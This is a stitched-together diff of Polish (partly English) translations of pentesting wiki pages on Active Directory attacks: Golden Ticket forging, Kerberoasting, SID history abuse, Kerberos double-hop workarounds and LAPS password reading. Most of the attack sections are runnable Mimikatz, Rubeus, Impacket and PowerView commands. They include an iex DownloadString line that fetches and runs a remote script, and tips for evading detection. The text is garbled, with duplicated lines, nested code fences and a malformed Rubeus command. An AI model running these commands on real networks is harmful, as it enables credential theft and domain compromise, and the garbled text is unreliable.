Używając standardowej metody z danymi logowania użytkowników, którzy mają dostęp do zewnętrznej domeny, powinieneś być w stanie uzyskać dostęp do:
```powershell
Używając standardowej metody z danymi uwierzytelniającymi użytkowników, którzy mają dostęp do zewnętrznej domeny, powinieneś być w stanie uzyskać dostęp do:
```bash
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
### Nadużycie historii SID
Możesz również nadużyć [**historii SID**](sid-history-injection.md) w ramach zaufania lasu.
Możesz również nadużywać [**historii SID**](sid-history-injection.md) w ramach zaufania lasu.
Jeśli użytkownik jest migrowany **z jednego lasu do drugiego** i **filtracja SID nie jest włączona**, możliwe jest **dodanie SID z innego lasu**, a ten **SID** zostanie **dodany** do **tokena użytkownika** podczas uwierzytelniania **w ramach zaufania**.
> [!WARNING]
> Przypominamy, że możesz uzyskać klucz podpisywania za pomocą
>
> ```powershell
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
> ```

View File

@ -6,7 +6,7 @@
Atak **Golden Ticket** polega na **tworzeniu legalnego Ticket Granting Ticket (TGT) podszywając się pod dowolnego użytkownika** za pomocą **hasła NTLM konta krbtgt w Active Directory (AD)**. Technika ta jest szczególnie korzystna, ponieważ **umożliwia dostęp do dowolnej usługi lub maszyny** w obrębie domeny jako podszywający się użytkownik. Ważne jest, aby pamiętać, że **poświadczenia konta krbtgt nigdy nie są automatycznie aktualizowane**.
Aby **zdobyć hasło NTLM** konta krbtgt, można zastosować różne metody. Może być ono wyodrębnione z **procesu Local Security Authority Subsystem Service (LSASS)** lub z **pliku NT Directory Services (NTDS.dit)** znajdującego się na dowolnym kontrolerze domeny (DC) w obrębie domeny. Ponadto, **wykonanie ataku DCsync** jest inną strategią uzyskania tego hasła NTLM, co można zrealizować za pomocą narzędzi takich jak **moduł lsadump::dcsync** w Mimikatz lub **skrypt secretsdump.py** od Impacket. Ważne jest, aby podkreślić, że do przeprowadzenia tych operacji **zazwyczaj wymagane są uprawnienia administratora domeny lub podobny poziom dostępu**.
Aby **zdobyć hasło NTLM** konta krbtgt, można zastosować różne metody. Może być ono wyodrębnione z **procesu Local Security Authority Subsystem Service (LSASS)** lub z **pliku NT Directory Services (NTDS.dit)** znajdującego się na dowolnym kontrolerze domeny (DC) w obrębie domeny. Ponadto, **wykonanie ataku DCsync** jest kolejną strategią uzyskania tego hasła NTLM, co można zrealizować za pomocą narzędzi takich jak **moduł lsadump::dcsync** w Mimikatz lub **skrypt secretsdump.py** od Impacket. Ważne jest, aby podkreślić, że do przeprowadzenia tych operacji zazwyczaj wymagane są **uprawnienia administratora domeny lub podobny poziom dostępu**.
Chociaż hasło NTLM jest wykonalną metodą w tym celu, **zdecydowanie zaleca się** **fałszowanie biletów za pomocą kluczy Kerberos w standardzie Advanced Encryption Standard (AES) (AES128 i AES256)** z powodów bezpieczeństwa operacyjnego.
```bash:From Linux
@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
```
```bash:From Windows
# Rubeus
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
@ -28,7 +34,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1
### Obejście powszechnych wykryć
Najczęstsze sposoby wykrywania złotego biletu to **inspekcja ruchu Kerberos** w sieci. Domyślnie Mimikatz **podpisuje TGT na 10 lat**, co wyróżnia się jako anomalia w kolejnych żądaniach TGS z nim związanych.
Najczęstsze sposoby wykrywania złotego biletu to **inspekcja ruchu Kerberos** w sieci. Domyślnie Mimikatz **podpisuje TGT na 10 lat**, co wyróżnia się jako anomalia w kolejnych żądaniach TGS z nim.
`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
@ -36,7 +42,7 @@ Użyj parametrów `/startoffset`, `/endin` i `/renewmax`, aby kontrolować przes
```
Get-DomainPolicy | select -expand KerberosPolicy
```
Niestety, czas życia TGT nie jest rejestrowany w 4769, więc nie znajdziesz tych informacji w dziennikach zdarzeń systemu Windows. Jednak to, co możesz skorelować, to **widzenie 4769 bez wcześniejszego 4768**. **Nie jest możliwe zażądanie TGS bez TGT**, a jeśli nie ma zapisu o wydaniu TGT, możemy wywnioskować, że został on sfałszowany offline.
Niestety, czas życia TGT nie jest rejestrowany w 4769, więc nie znajdziesz tych informacji w dziennikach zdarzeń systemu Windows. Jednak to, co możesz skorelować, to **widzenie 4769 bez wcześniejszego 4768**. **Nie jest możliwe zażądanie TGS bez TGT**, a jeśli nie ma zapisu o wydaniu TGT, możemy wnioskować, że został on sfałszowany offline.
Aby **obejść to wykrywanie**, sprawdź bilety diamentowe:

View File

@ -13,138 +13,160 @@ Aby wykonać **Kerberoasting**, niezbędne jest konto domenowe zdolne do żądan
- **Kerberoasting** celuje w **bilety TGS** dla **usług kont użytkowników** w **AD**.
- Bilety szyfrowane kluczami z **haseł użytkowników** mogą być **łamane offline**.
- Usługa jest identyfikowana przez **ServicePrincipalName**, który nie jest pusty.
- **Nie są potrzebne specjalne uprawnienia**, tylko **ważne poświadczenia domenowe**.
- **Nie są potrzebne specjalne uprawnienia**, wystarczą **ważne poświadczenia domenowe**.
### **Atak**
> [!WARNING]
> **Narzędzia Kerberoasting** zazwyczaj żądają **`szyfrowania RC4`** podczas przeprowadzania ataku i inicjowania żądań TGS-REQ. Dzieje się tak, ponieważ **RC4 jest** [**słabsze**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) i łatwiejsze do złamania offline przy użyciu narzędzi takich jak Hashcat niż inne algorytmy szyfrowania, takie jak AES-128 i AES-256.\
> **Narzędzia Kerberoasting** zazwyczaj żądają **`RC4 encryption`** podczas przeprowadzania ataku i inicjowania żądań TGS-REQ. Dzieje się tak, ponieważ **RC4 jest** [**słabszy**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) i łatwiejszy do złamania offline przy użyciu narzędzi takich jak Hashcat niż inne algorytmy szyfrowania, takie jak AES-128 i AES-256.\
> Hashe RC4 (typ 23) zaczynają się od **`$krb5tgs$23$*`**, podczas gdy AES-256 (typ 18) zaczynają się od **`$krb5tgs$18$*`**.`
> Ponadto, bądź ostrożny, ponieważ `Rubeus.exe kerberoast` automatycznie żąda biletów dla WSZYSTKICH podatnych kont, co może prowadzić do wykrycia. Najpierw znajdź użytkowników nadających się do kerberoastingu z interesującymi uprawnieniami, a następnie uruchom to tylko na nich.
```bash
#### **Linux**
```bash
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Hasło zostanie poproszone
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Wymień użytkowników kerberoastable
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Zrzutuj hashe
```
Narzędzia wielofunkcyjne, w tym zrzut użytkowników nadających się do kerberoast:
Multi-features tools including a dump of kerberoastable users:
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
```
#### Windows
- **Wymień użytkowników podatnych na Kerberoast**
```powershell
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
- **Enumerate Kerberoastable users**
```bash
# Uzyskaj użytkowników do Kerberoast
setspn.exe -Q */* #To jest wbudowany plik binarny. Skup się na kontach użytkowników
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
```
- **Technika 1: Poproś o TGS i zrzutuj go z pamięci**
```powershell
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
- **Technique 1: Ask for TGS and dump it from memory**
```bash
# Pobierz TGS z pamięci dla pojedynczego użytkownika
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Przykład: MSSQLSvc/mgmt.domain.local
# Pobierz TGS dla WSZYSTKICH kont nadających się do kerberoast (w tym PC, nie jest to zbyt mądre)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memory
# Wyświetl bilety kerberos w pamięci
klist
# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
# Wyciągnij je z pamięci
Invoke-Mimikatz -Command '"kerberos::list /export"' #Eksportuj bilety do bieżącego folderu
# Transform kirbi ticket to john
# Przekształć bilet kirbi do john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
# Przekształć john do hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```
- **Technika 2: Narzędzia automatyczne**
- **Technique 2: Automatic tools**
```bash
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
# Powerview: Pobierz hash Kerberoast użytkownika
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Używając PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Pobierz wszystkie hashe Kerberoast
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specyficzny użytkownik
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Pobierz administratorów
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```
> [!WARNING]
> Gdy żądany jest TGS, generowane jest zdarzenie systemu Windows `4769 - Żądano biletu usługi Kerberos`.
### Łamanie
> [!WARNING]
> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
### Cracking
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Persistence
Jeśli masz **wystarczające uprawnienia** nad użytkownikiem, możesz **sprawić, że będzie możliwe kerberoastowanie**:
If you have **enough permissions** over a user you can **make it kerberoastable**:
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
```
Możesz znaleźć przydatne **narzędzia** do ataków **kerberoast** tutaj: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
Jeśli napotkasz ten **błąd** z systemu Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`**, to z powodu lokalnego czasu, musisz zsynchronizować hosta z DC. Istnieje kilka opcji:
You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
- `ntpdate <IP of DC>` - Przestarzałe od Ubuntu 16.04
If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`
### Mitigacja
### Mitigation
Kerberoasting może być przeprowadzany z wysokim stopniem dyskrecji, jeśli jest wykonalny. Aby wykryć tę aktywność, należy zwrócić uwagę na **Security Event ID 4769**, który wskazuje, że żądano biletu Kerberos. Jednak z powodu wysokiej częstotliwości tego zdarzenia, należy zastosować konkretne filtry, aby wyizolować podejrzane działania:
Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
- Nazwa usługi nie powinna być **krbtgt**, ponieważ jest to normalne żądanie.
- Nazwy usług kończące się na **$** powinny być wykluczone, aby uniknąć uwzględnienia kont maszynowych używanych do usług.
- Żądania z maszyn powinny być filtrowane przez wykluczenie nazw kont sformatowanych jako **machine@domain**.
- Należy brać pod uwagę tylko udane żądania biletów, identyfikowane przez kod błędu **'0x0'**.
- **Najważniejsze**, typ szyfrowania biletu powinien być **0x17**, który jest często używany w atakach Kerberoasting.
```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```
Aby zminimalizować ryzyko Kerberoasting:
- Upewnij się, że **hasła kont serwisowych są trudne do odgadnięcia**, zalecając długość większą niż **25 znaków**.
- Wykorzystaj **Zarządzane Konta Serwisowe**, które oferują korzyści takie jak **automatyczne zmiany haseł** i **delegowane zarządzanie nazwą główną usługi (SPN)**, co zwiększa bezpieczeństwo przed takimi atakami.
To mitigate the risk of Kerberoasting:
Wdrażając te środki, organizacje mogą znacznie zmniejszyć ryzyko związane z Kerberoastingiem.
- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
## Kerberoast bez konta domenowego
By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
W **wrześniu 2022** roku nowy sposób na wykorzystanie systemu został ujawniony przez badacza o imieniu Charlie Clark, udostępniony za pośrednictwem jego platformy [exploit.ph](https://exploit.ph/). Metoda ta pozwala na pozyskanie **Biletów Serwisowych (ST)** za pomocą żądania **KRB_AS_REQ**, które w sposób niezwykły nie wymaga kontroli nad żadnym kontem Active Directory. Zasadniczo, jeśli główny obiekt jest skonfigurowany w taki sposób, że nie wymaga wstępnej autoryzacji—scenariusz podobny do tego, co w dziedzinie cyberbezpieczeństwa nazywane jest atakiem **AS-REP Roasting**—ta cecha może być wykorzystana do manipulacji procesem żądania. Konkretnie, poprzez zmianę atrybutu **sname** w treści żądania, system jest oszukiwany do wydania **ST** zamiast standardowego zaszyfrowanego biletu przyznawania biletów (TGT).
## Kerberoast w/o domain account
Technika jest w pełni wyjaśniona w tym artykule: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
> [!WARNING]
> Musisz dostarczyć listę użytkowników, ponieważ nie mamy ważnego konta do zapytania LDAP przy użyciu tej techniki.
> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
#### Linux
- [impacket/GetUserSPNs.py z PR #1413](https://github.com/fortra/impacket/pull/1413):
- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
```bash
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
```
#### Windows
- [GhostPack/Rubeus z PR #139](https://github.com/GhostPack/Rubeus/pull/139):
- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
```bash
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
```
## Odniesienia
## References
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)

View File

@ -2,13 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
## Wprowadzenie
Problem "podwójnego skoku" Kerberos pojawia się, gdy atakujący próbuje użyć **uwierzytelniania Kerberos w dwóch** **skokach**, na przykład używając **PowerShell**/**WinRM**.
Problem "podwójnego skoku" Kerberos pojawia się, gdy atakujący próbuje użyć **uwierzytelniania Kerberos przez dwa** **skoki**, na przykład używając **PowerShell**/**WinRM**.
Gdy następuje **uwierzytelnienie** przez **Kerberos**, **poświadczenia** **nie są** buforowane w **pamięci.** Dlatego, jeśli uruchomisz mimikatz, **nie znajdziesz poświadczeń** użytkownika na maszynie, nawet jeśli uruchamia on procesy.
Gdy **uwierzytelnienie** odbywa się przez **Kerberos**, **poświadczenia** **nie są** buforowane w **pamięci.** Dlatego, jeśli uruchomisz mimikatz, **nie znajdziesz poświadczeń** użytkownika na maszynie, nawet jeśli uruchamia on procesy.
Dzieje się tak, ponieważ podczas łączenia z Kerberos następują następujące kroki:
Dzieje się tak, ponieważ podczas łączenia z Kerberos wykonuje się następujące kroki:
1. Użytkownik1 podaje poświadczenia, a **kontroler domeny** zwraca Kerberos **TGT** do Użytkownika1.
2. Użytkownik1 używa **TGT** do zażądania **biletu usługi** w celu **połączenia** z Serwerem1.
@ -17,27 +18,27 @@ Dzieje się tak, ponieważ podczas łączenia z Kerberos następują następują
### Nieograniczona delegacja
Jeśli **nieograniczona delegacja** jest włączona na PC, to nie nastąpi, ponieważ **Serwer** **otrzyma** **TGT** każdego użytkownika, który się do niego łączy. Co więcej, jeśli używana jest nieograniczona delegacja, prawdopodobnie możesz **skompromentować kontroler domeny** z tego poziomu.\
Jeśli **nieograniczona delegacja** jest włączona w PC, to nie wystąpi, ponieważ **Serwer** **otrzyma** **TGT** każdego użytkownika, który uzyskuje do niego dostęp. Co więcej, jeśli używana jest nieograniczona delegacja, prawdopodobnie możesz **skompromentować kontroler domeny** z tego.\
[**Więcej informacji na stronie dotyczącej nieograniczonej delegacji**](unconstrained-delegation.md).
### CredSSP
Innym sposobem na uniknięcie tego problemu, który jest [**szczególnie niebezpieczny**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), jest **Credential Security Support Provider**. Z Microsoftu:
Innym sposobem na uniknięcie tego problemu, który jest [**wyraźnie niebezpieczny**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), jest **Dostawca wsparcia bezpieczeństwa poświadczeń**. Z Microsoftu:
> Uwierzytelnianie CredSSP deleguje poświadczenia użytkownika z lokalnego komputera do zdalnego komputera. Ta praktyka zwiększa ryzyko bezpieczeństwa zdalnej operacji. Jeśli zdalny komputer zostanie skompromitowany, gdy poświadczenia są do niego przekazywane, poświadczenia mogą być używane do kontrolowania sesji sieciowej.
Zaleca się, aby **CredSSP** był wyłączony w systemach produkcyjnych, wrażliwych sieciach i podobnych środowiskach z powodu obaw o bezpieczeństwo. Aby sprawdzić, czy **CredSSP** jest włączony, można uruchomić polecenie `Get-WSManCredSSP`. To polecenie pozwala na **sprawdzenie statusu CredSSP** i może być nawet wykonywane zdalnie, pod warunkiem, że **WinRM** jest włączony.
```powershell
```bash
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## Obejścia
## Workarounds
### Invoke Command
Aby rozwiązać problem podwójnego skoku, przedstawiona jest metoda z wykorzystaniem zagnieżdżonego `Invoke-Command`. Nie rozwiązuje to problemu bezpośrednio, ale oferuje obejście bez potrzeby specjalnych konfiguracji. Podejście to pozwala na wykonanie polecenia (`hostname`) na drugim serwerze za pomocą polecenia PowerShell wykonanego z początkowej maszyny atakującej lub przez wcześniej ustanowioną sesję PS z pierwszym serwerem. Oto jak to zrobić:
```powershell
Aby rozwiązać problem podwójnego skoku, przedstawiona jest metoda polegająca na zagnieżdżonym `Invoke-Command`. Nie rozwiązuje to problemu bezpośrednio, ale oferuje obejście bez potrzeby specjalnych konfiguracji. Podejście to pozwala na wykonanie polecenia (`hostname`) na drugim serwerze za pomocą polecenia PowerShell wykonanego z początkowej maszyny atakującej lub przez wcześniej ustanowioną sesję PS z pierwszym serwerem. Oto jak to zrobić:
```bash
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
@ -48,7 +49,7 @@ Alternatywnie, sugeruje się nawiązanie sesji PS z pierwszym serwerem i uruchom
### Rejestracja konfiguracji PSSession
Rozwiązanie do obejścia problemu podwójnego skoku polega na użyciu `Register-PSSessionConfiguration` z `Enter-PSSession`. Ta metoda wymaga innego podejścia niż `evil-winrm` i pozwala na sesję, która nie cierpi z powodu ograniczenia podwójnego skoku.
```powershell
```bash
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
@ -56,20 +57,20 @@ klist
```
### PortForwarding
Dla lokalnych administratorów na pośrednim celu, przekierowanie portów umożliwia wysyłanie żądań do docelowego serwera. Używając `netsh`, można dodać regułę dla przekierowania portów, obok reguły zapory systemu Windows, aby zezwolić na przekierowany port.
Dla lokalnych administratorów na pośrednim celu, przekierowanie portów pozwala na wysyłanie żądań do docelowego serwera. Używając `netsh`, można dodać regułę dla przekierowania portów, obok reguły zapory systemu Windows, aby zezwolić na przekierowany port.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
`winrs.exe` może być używany do przekazywania żądań WinRM, potencjalnie jako mniej wykrywalna opcja, jeśli monitorowanie PowerShell jest problemem. Poniższe polecenie ilustruje jego użycie:
`winrs.exe` może być używany do przekazywania żądań WinRM, potencjalnie jako mniej wykrywalna opcja, jeśli monitorowanie PowerShell jest problemem. Poniższe polecenie demonstruje jego użycie:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
Zainstalowanie OpenSSH na pierwszym serwerze umożliwia obejście problemu podwójnego skoku, szczególnie przydatne w scenariuszach z jump box. Ta metoda wymaga instalacji i konfiguracji OpenSSH dla Windows za pomocą CLI. Gdy jest skonfigurowana do uwierzytelniania hasłem, pozwala to serwerowi pośredniczącemu uzyskać TGT w imieniu użytkownika.
Zainstalowanie OpenSSH na pierwszym serwerze umożliwia obejście problemu podwójnego skoku, szczególnie przydatne w scenariuszach z jump box. Ta metoda wymaga instalacji i konfiguracji OpenSSH dla Windows za pomocą CLI. Gdy jest skonfigurowana do uwierzytelniania hasłem, pozwala to pośredniemu serwerowi uzyskać TGT w imieniu użytkownika.
#### Kroki instalacji OpenSSH

View File

@ -5,9 +5,9 @@
## Podstawowe informacje
Local Administrator Password Solution (LAPS) to narzędzie używane do zarządzania systemem, w którym **hasła administratorów**, które są **unikalne, losowe i często zmieniane**, są stosowane do komputerów dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i są dostępne tylko dla użytkowników, którzy otrzymali pozwolenie za pośrednictwem list kontroli dostępu (ACL). Bezpieczeństwo transmisji haseł z klienta do serwera jest zapewnione dzięki użyciu **Kerberos wersja 5** i **Advanced Encryption Standard (AES)**.
Local Administrator Password Solution (LAPS) to narzędzie używane do zarządzania systemem, w którym **hasła administratorów**, które są **unikalne, losowe i często zmieniane**, są stosowane w komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i są dostępne tylko dla użytkowników, którzy otrzymali uprawnienia za pośrednictwem list kontroli dostępu (ACL). Bezpieczeństwo transmisji haseł z klienta do serwera jest zapewnione dzięki użyciu **Kerberos wersja 5** oraz **Advanced Encryption Standard (AES)**.
W obiektach komputerowych domeny wdrożenie LAPS skutkuje dodaniem dwóch nowych atrybutów: **`ms-mcs-AdmPwd`** i **`ms-mcs-AdmPwdExpirationTime`**. Atrybuty te przechowują **hasło administratora w postaci jawnej** oraz **czas jego wygaśnięcia**, odpowiednio.
W obiektach komputerowych domeny wdrożenie LAPS skutkuje dodaniem dwóch nowych atrybutów: **`ms-mcs-AdmPwd`** oraz **`ms-mcs-AdmPwdExpirationTime`**. Atrybuty te przechowują **hasło administratora w postaci jawnej** oraz **czas jego wygaśnięcia**, odpowiednio.
### Sprawdź, czy aktywowane
```bash
@ -27,7 +27,7 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
Możesz **pobrać surową politykę LAPS** z `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`, a następnie użyć **`Parse-PolFile`** z pakietu [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser), aby przekonwertować ten plik na format czytelny dla ludzi.
Ponadto, **natywne cmdlety PowerShell LAPS** mogą być używane, jeśli są zainstalowane na maszynie, do której mamy dostęp:
```powershell
```bash
Get-Command *AdmPwd*
CommandType Name Version Source
@ -47,8 +47,8 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView** może być również używany do ustalenia **kto może odczytać hasło i je odczytać**:
```powershell
**PowerView** może być również użyty do ustalenia **kto może odczytać hasło i je odczytać**:
```bash
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -59,8 +59,8 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) ułatwia enumerację LAPS za pomocą kilku funkcji.\
Jedną z nich jest analizowanie **`ExtendedRights`** dla **wszystkich komputerów z włączonym LAPS.** To pokaże **grupy** specjalnie **delegowane do odczytu haseł LAPS**, które często są użytkownikami w chronionych grupach.\
**Konto**, które **dołączyło komputer** do domeny, otrzymuje `All Extended Rights` nad tym hostem, a to prawo daje **konta** możliwość **odczytu haseł**. Enumeracja może pokazać konto użytkownika, które może odczytać hasło LAPS na hoście. To może pomóc nam **skierować się na konkretnych użytkowników AD**, którzy mogą odczytać hasła LAPS.
```powershell
**Konto**, które **dołączyło komputer** do domeny, otrzymuje `All Extended Rights` nad tym hostem, a to prawo daje **konta** możliwość **odczytu haseł**. Enumeracja może pokazać konto użytkownika, które może odczytać hasło LAPS na hoście. To może pomóc nam **skupić się na konkretnych użytkownikach AD**, którzy mogą odczytać hasła LAPS.
```bash
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -103,8 +103,8 @@ Password: 2Z@Ae)7!{9#Cq
### **Data wygaśnięcia**
